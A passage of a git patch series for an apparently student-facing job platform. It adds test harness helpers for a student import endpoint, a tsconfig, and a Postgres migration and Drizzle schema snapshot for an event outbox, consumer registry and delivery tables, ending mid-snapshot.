.where(inArray(schema.auditLogs.organizationId, organizationIds)); + } + if (userIds.length > 0) { + // Cascades to public.users and from there to students, resumes, applications, idempotency_keys, memberships. + await handle.sql`delete from auth.users where id in ${handle.sql(userIds)}`; + } + if (companyIds.length > 0) { + await handle.db + .delete(schema.companies) + .where(inArray(schema.companies.companyId, companyIds)); + } + if (organizationIds.length > 0) { + await handle.db + .delete(schema.organizations) + .where(inArray(schema.organizations.organizationId, organizationIds)); + } + } finally { + vi.unstubAllGlobals(); + await app.close(); + await handle.close(); + } + }, + }; +} + +export interface CountingDatabase { + db: DatabaseHandle['db']; + sql: DatabaseHandle['sql']; + /** Statements the driver has executed since the last `reset()` (BEGIN/COMMIT included). */ + count: () => number; + reset: () => void; + close: () => Promise; +} + +/** A database handle that counts every statement, for asserting "no N+1". */ +export function createCountingDatabase(): CountingDatabase { + if (!testDatabaseUrl) throw new Error('ATLAS_TEST_DATABASE_URL is required'); + let statements = 0; + const sql = postgres(testDatabaseUrl, { + max: 5, + prepare: false, + onnotice: () => {}, + debug: () => { + statements += 1; + }, + }); + return { + db: drizzle(sql, { schema }), + sql, + count: () => statements, + reset: () => { + statements = 0; + }, + close: async () => { + await sql.end({ timeout: 5 }); + }, + }; +} + +/** A JSON POST to the import endpoint. */ +export function importJson( + harness: Harness, + organizationId: string, + headers: Record, + rows: unknown, + key: string = randomUUID(), +): Promise { + return harness.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${organizationId}/students/import`, + headers: { ...headers, 'content-type': 'application/json', 'idempotency-key': key }, + payload: JSON.stringify(Array.isArray(rows) ? { rows } : rows), + }); +} + +/** A text/csv POST to the import endpoint. */ +export function importCsv( + harness: Harness, + organizationId: string, + headers: Record, + csv: string, + key: string = randomUUID(), +): Promise { + return harness.app.inject({ + method: 'POST', + url: `${ADMIN_BASE}/${organizationId}/students/import`, + headers: { ...headers, 'content-type': 'text/csv; charset=utf-8', 'idempotency-key': key }, + payload: csv, + }); +} diff --git a/services/admin/tsconfig.json b/services/admin/tsconfig.json new file mode 100644 index 0000000..61eabd8 --- /dev/null +++ b/services/admin/tsconfig.json @@ -0,0 +1,8 @@ +{ + "extends": "../../tsconfig.base.json", + "compilerOptions": { + "noEmit": true, + "types": ["node"] + }, + "include": ["src/**/*.ts", "test/**/*.ts"] +} From cc87def348d06a1873f89529349b4f8e63e89a47 Mon Sep 17 00:00:00 2001 From: Claude Date: Tue, 27 Oct 2026 12:44:35 +0000 Subject: [PATCH 18/91] feat(db): add durable event outbox, consumer registry and delivery tables Backing store for the postgres messaging driver: event_outbox holds every published envelope (idempotent on event_id), event_consumers records each consumer's types and fan-out cursor, and event_deliveries holds per-consumer state (pending/done/dead, attempts, backoff, lease) with a partial index for the claim query. Co-Authored-By: Claude Sonnet 5.5 Claude-Session: https://claude.ai/code/session_01BdqVHQRXj76uudaef6gTD1 --- .../db/migrations/0003_add_event_outbox.sql | 40 + .../db/migrations/meta/0003_snapshot.json | 3078 +++++++++++++++++ packages/db/migrations/meta/_journal.json | 7 + packages/db/src/schema/ops.ts | 104 + 4 files changed, 3229 insertions(+) create mode 100644 packages/db/migrations/0003_add_event_outbox.sql create mode 100644 packages/db/migrations/meta/0003_snapshot.json diff --git a/packages/db/migrations/0003_add_event_outbox.sql b/packages/db/migrations/0003_add_event_outbox.sql new file mode 100644 index 0000000..291c19c --- /dev/null +++ b/packages/db/migrations/0003_add_event_outbox.sql @@ -0,0 +1,40 @@ +CREATE TABLE "event_consumers" ( + "consumer" varchar(160) PRIMARY KEY NOT NULL, + "event_types" text[] NOT NULL, + "materialized_through" timestamp with time zone DEFAULT '1970-01-01T00:00:00Z' NOT NULL, + "last_drained_at" timestamp with time zone, + "created_at" timestamp with time zone DEFAULT now() NOT NULL +); +--> statement-breakpoint +CREATE TABLE "event_deliveries" ( + "event_id" uuid NOT NULL, + "consumer" varchar(160) NOT NULL, + "status" varchar(16) DEFAULT 'pending' NOT NULL, + "attempts" integer DEFAULT 0 NOT NULL, + "last_error" text, + "next_attempt_at" timestamp with time zone DEFAULT now() NOT NULL, + "locked_until" timestamp with time zone, + "created_at" timestamp with time zone DEFAULT now() NOT NULL, + "updated_at" timestamp with time zone DEFAULT now() NOT NULL, + CONSTRAINT "event_deliveries_event_id_consumer_pk" PRIMARY KEY("event_id","consumer"), + CONSTRAINT "event_deliveries_status_check" CHECK ("event_deliveries"."status" IN ('pending', 'done', 'dead')) +); +--> statement-breakpoint +CREATE TABLE "event_outbox" ( + "event_id" uuid PRIMARY KEY NOT NULL, + "event_type" varchar(120) NOT NULL, + "occurred_at" timestamp with time zone NOT NULL, + "trace_id" varchar(100) NOT NULL, + "correlation_id" varchar(100) NOT NULL, + "organization_id" uuid, + "user_id" uuid, + "payload" jsonb NOT NULL, + "created_at" timestamp with time zone DEFAULT now() NOT NULL +); +--> statement-breakpoint +ALTER TABLE "event_deliveries" ADD CONSTRAINT "event_deliveries_event_id_event_outbox_event_id_fk" FOREIGN KEY ("event_id") REFERENCES "public"."event_outbox"("event_id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint +CREATE INDEX "event_deliveries_claim_idx" ON "event_deliveries" USING btree ("consumer","next_attempt_at") WHERE "event_deliveries"."status" = 'pending';--> statement-breakpoint +CREATE INDEX "event_deliveries_dead_idx" ON "event_deliveries" USING btree ("consumer","updated_at") WHERE "event_deliveries"."status" = 'dead';--> statement-breakpoint +CREATE INDEX "event_outbox_created_idx" ON "event_outbox" USING btree ("created_at","event_id");--> statement-breakpoint +CREATE INDEX "event_outbox_type_created_idx" ON "event_outbox" USING btree ("event_type","created_at","event_id");--> statement-breakpoint +CREATE INDEX "event_outbox_trace_idx" ON "event_outbox" USING btree ("trace_id"); \ No newline at end of file diff --git a/packages/db/migrations/meta/0003_snapshot.json b/packages/db/migrations/meta/0003_snapshot.json new file mode 100644 index 0000000..c792ca4 --- /dev/null +++ b/packages/db/migrations/meta/0003_snapshot.json @@ -0,0 +1,3078 @@ +{ + "id": "f44021a6-465b-4a8a-ab04-5dbd8dcd3ac9", + "prevId": "f4846251-eabe-4eb6-aaa1-6eb3272d14e1", + "version": "7", + "dialect": "postgresql", + "tables": { + "public.audit_logs": { + "name": "audit_logs", + "schema": "", + "columns": { + "audit_id": { + "name": "audit_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "actor_user_id": { + "name": "actor_user_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "action": { + "name": "action", + "type": "varchar(120)", + "primaryKey": false, + "notNull": true + }, + "resource_type": { + "name": "resource_type", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true + }, + "resource_id": { + "name": "resource_id", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "trace_id": { + "name": "trace_id", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "audit_logs_org_created_idx": { + "name": "audit_logs_org_created_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "audit_logs_actor_idx": { + "name": "audit_logs_actor_idx", + "columns": [ + { + "expression": "actor_user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "audit_logs_resource_idx": { + "name": "audit_logs_resource_idx", + "columns": [ + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "audit_logs_organization_id_organizations_organization_id_fk": { + "name": "audit_logs_organization_id_organizations_organization_id_fk", + "tableFrom": "audit_logs", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + }, + "audit_logs_actor_user_id_users_user_id_fk": { + "name": "audit_logs_actor_user_id_users_user_id_fk", + "tableFrom": "audit_logs", + "tableTo": "users", + "columnsFrom": [ + "actor_user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organization_members": { + "name": "organization_members", + "schema": "", + "columns": { + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "role": { + "name": "role", + "type": "member_role", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'member'" + }, + "permissions": { + "name": "permissions", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "organization_members_user_idx": { + "name": "organization_members_user_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "organization_members_organization_id_organizations_organization_id_fk": { + "name": "organization_members_organization_id_organizations_organization_id_fk", + "tableFrom": "organization_members", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "organization_members_user_id_users_user_id_fk": { + "name": "organization_members_user_id_users_user_id_fk", + "tableFrom": "organization_members", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "organization_members_organization_id_user_id_pk": { + "name": "organization_members_organization_id_user_id_pk", + "columns": [ + "organization_id", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.organizations": { + "name": "organizations", + "schema": "", + "columns": { + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "name": { + "name": "name", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "type": { + "name": "type", + "type": "organization_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'individual'" + }, + "plan": { + "name": "plan", + "type": "organization_plan", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'free'" + }, + "slug": { + "name": "slug", + "type": "varchar(100)", + "primaryKey": false, + "notNull": false + }, + "settings": { + "name": "settings", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "organizations_slug_key": { + "name": "organizations_slug_key", + "columns": [ + { + "expression": "slug", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"organizations\".\"slug\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "organizations_type_idx": { + "name": "organizations_type_idx", + "columns": [ + { + "expression": "type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.students": { + "name": "students", + "schema": "", + "columns": { + "student_id": { + "name": "student_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "organization_id": { + "name": "organization_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "department": { + "name": "department", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "graduation_year": { + "name": "graduation_year", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "current_status": { + "name": "current_status", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true, + "default": "'active'" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "students_org_user_key": { + "name": "students_org_user_key", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "students_grad_year_idx": { + "name": "students_grad_year_idx", + "columns": [ + { + "expression": "organization_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "graduation_year", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "students_organization_id_organizations_organization_id_fk": { + "name": "students_organization_id_organizations_organization_id_fk", + "tableFrom": "students", + "tableTo": "organizations", + "columnsFrom": [ + "organization_id" + ], + "columnsTo": [ + "organization_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "students_user_id_users_user_id_fk": { + "name": "students_user_id_users_user_id_fk", + "tableFrom": "students", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.users": { + "name": "users", + "schema": "", + "columns": { + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": true, + "notNull": true + }, + "profile_id": { + "name": "profile_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "email": { + "name": "email", + "type": "varchar(320)", + "primaryKey": false, + "notNull": true + }, + "full_name": { + "name": "full_name", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "auth_provider": { + "name": "auth_provider", + "type": "auth_provider", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'password'" + }, + "password_hash": { + "name": "password_hash", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "email_verified": { + "name": "email_verified", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "mfa_enabled": { + "name": "mfa_enabled", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": false + }, + "mfa_secret": { + "name": "mfa_secret", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "failed_login_count": { + "name": "failed_login_count", + "type": "integer", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "locked_until": { + "name": "locked_until", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "last_login_at": { + "name": "last_login_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "deleted_at": { + "name": "deleted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "users_email_key": { + "name": "users_email_key", + "columns": [ + { + "expression": "lower(\"email\")", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "users_profile_id_idx": { + "name": "users_profile_id_idx", + "columns": [ + { + "expression": "profile_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.resumes": { + "name": "resumes", + "schema": "", + "columns": { + "resume_id": { + "name": "resume_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "storage_url": { + "name": "storage_url", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "original_filename": { + "name": "original_filename", + "type": "varchar(400)", + "primaryKey": false, + "notNull": true + }, + "content_type": { + "name": "content_type", + "type": "varchar(200)", + "primaryKey": false, + "notNull": true + }, + "byte_size": { + "name": "byte_size", + "type": "integer", + "primaryKey": false, + "notNull": true + }, + "content_hash": { + "name": "content_hash", + "type": "varchar(64)", + "primaryKey": false, + "notNull": true + }, + "status": { + "name": "status", + "type": "resume_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'pending'" + }, + "parsed_text": { + "name": "parsed_text", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parsed_profile": { + "name": "parsed_profile", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "ats_score": { + "name": "ats_score", + "type": "real", + "primaryKey": false, + "notNull": false + }, + "ats_report": { + "name": "ats_report", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": false + }, + "failure_reason": { + "name": "failure_reason", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "parsed_at": { + "name": "parsed_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "resumes_user_content_hash_key": { + "name": "resumes_user_content_hash_key", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "content_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "resumes_user_created_idx": { + "name": "resumes_user_created_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "resumes_status_idx": { + "name": "resumes_status_idx", + "columns": [ + { + "expression": "status", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "resumes_user_id_users_user_id_fk": { + "name": "resumes_user_id_users_user_id_fk", + "tableFrom": "resumes", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.companies": { + "name": "companies", + "schema": "", + "columns": { + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "name": { + "name": "name", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "normalized_name": { + "name": "normalized_name", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "industry": { + "name": "industry", + "type": "varchar(200)", + "primaryKey": false, + "notNull": false + }, + "website": { + "name": "website", + "type": "varchar(500)", + "primaryKey": false, + "notNull": false + }, + "domain": { + "name": "domain", + "type": "varchar(255)", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "companies_normalized_name_key": { + "name": "companies_normalized_name_key", + "columns": [ + { + "expression": "normalized_name", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "companies_domain_idx": { + "name": "companies_domain_idx", + "columns": [ + { + "expression": "domain", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "companies_name_trgm_idx": { + "name": "companies_name_trgm_idx", + "columns": [ + { + "expression": "\"name\" gin_trgm_ops", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.job_scores": { + "name": "job_scores", + "schema": "", + "columns": { + "job_id": { + "name": "job_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "score": { + "name": "score", + "type": "real", + "primaryKey": false, + "notNull": true + }, + "reasons": { + "name": "reasons", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "skill_gaps": { + "name": "skill_gaps", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "model_version": { + "name": "model_version", + "type": "varchar(80)", + "primaryKey": false, + "notNull": true + }, + "scored_at": { + "name": "scored_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "job_scores_user_score_idx": { + "name": "job_scores_user_score_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "score", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "job_scores_job_id_jobs_job_id_fk": { + "name": "job_scores_job_id_jobs_job_id_fk", + "tableFrom": "job_scores", + "tableTo": "jobs", + "columnsFrom": [ + "job_id" + ], + "columnsTo": [ + "job_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "job_scores_user_id_users_user_id_fk": { + "name": "job_scores_user_id_users_user_id_fk", + "tableFrom": "job_scores", + "tableTo": "users", + "columnsFrom": [ + "user_id" + ], + "columnsTo": [ + "user_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": { + "job_scores_job_id_user_id_pk": { + "name": "job_scores_job_id_user_id_pk", + "columns": [ + "job_id", + "user_id" + ] + } + }, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.jobs": { + "name": "jobs", + "schema": "", + "columns": { + "job_id": { + "name": "job_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "title": { + "name": "title", + "type": "varchar(300)", + "primaryKey": false, + "notNull": true + }, + "description": { + "name": "description", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "salary_min": { + "name": "salary_min", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "salary_max": { + "name": "salary_max", + "type": "integer", + "primaryKey": false, + "notNull": false + }, + "salary_currency": { + "name": "salary_currency", + "type": "varchar(3)", + "primaryKey": false, + "notNull": false + }, + "salary_period": { + "name": "salary_period", + "type": "varchar(10)", + "primaryKey": false, + "notNull": false + }, + "location": { + "name": "location", + "type": "varchar(300)", + "primaryKey": false, + "notNull": false + }, + "remote_type": { + "name": "remote_type", + "type": "remote_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "employment_type": { + "name": "employment_type", + "type": "employment_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true, + "default": "'unknown'" + }, + "source": { + "name": "source", + "type": "job_source", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "external_id": { + "name": "external_id", + "type": "varchar(400)", + "primaryKey": false, + "notNull": false + }, + "apply_url": { + "name": "apply_url", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "job_hash": { + "name": "job_hash", + "type": "varchar(64)", + "primaryKey": false, + "notNull": true + }, + "skills": { + "name": "skills", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'[]'::jsonb" + }, + "embedding": { + "name": "embedding", + "type": "vector(1536)", + "primaryKey": false, + "notNull": false + }, + "spam_score": { + "name": "spam_score", + "type": "real", + "primaryKey": false, + "notNull": true, + "default": 0 + }, + "posted_at": { + "name": "posted_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "expires_at": { + "name": "expires_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false + }, + "is_active": { + "name": "is_active", + "type": "boolean", + "primaryKey": false, + "notNull": true, + "default": true + }, + "last_seen_at": { + "name": "last_seen_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "jobs_job_hash_key": { + "name": "jobs_job_hash_key", + "columns": [ + { + "expression": "job_hash", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_source_external_id_key": { + "name": "jobs_source_external_id_key", + "columns": [ + { + "expression": "source", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "external_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "where": "\"jobs\".\"external_id\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_company_idx": { + "name": "jobs_company_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_active_posted_idx": { + "name": "jobs_active_posted_idx", + "columns": [ + { + "expression": "is_active", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "posted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_remote_type_idx": { + "name": "jobs_remote_type_idx", + "columns": [ + { + "expression": "remote_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "jobs_title_trgm_idx": { + "name": "jobs_title_trgm_idx", + "columns": [ + { + "expression": "\"title\" gin_trgm_ops", + "asc": true, + "isExpression": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "gin", + "with": {} + } + }, + "foreignKeys": { + "jobs_company_id_companies_company_id_fk": { + "name": "jobs_company_id_companies_company_id_fk", + "tableFrom": "jobs", + "tableTo": "companies", + "columnsFrom": [ + "company_id" + ], + "columnsTo": [ + "company_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.application_events": { + "name": "application_events", + "schema": "", + "columns": { + "event_id": { + "name": "event_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "from_status": { + "name": "from_status", + "type": "application_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": false + }, + "to_status": { + "name": "to_status", + "type": "application_status", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "note": { + "name": "note", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "metadata": { + "name": "metadata", + "type": "jsonb", + "primaryKey": false, + "notNull": true, + "default": "'{}'::jsonb" + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "application_events_app_created_idx": { + "name": "application_events_app_created_idx", + "columns": [ + { + "expression": "application_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "application_events_application_id_applications_application_id_fk": { + "name": "application_events_application_id_applications_application_id_fk", + "tableFrom": "application_events", + "tableTo": "applications", + "columnsFrom": [ + "application_id" + ], + "columnsTo": [ + "application_id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.applications": { + "name": "applications", + "schema": "", + "columns": { + "application_id": { + "name": "application_id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "user_id": { + "name": "user_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "job_id": { + "name": "job_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "resume_id": { + "name": "resume_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + 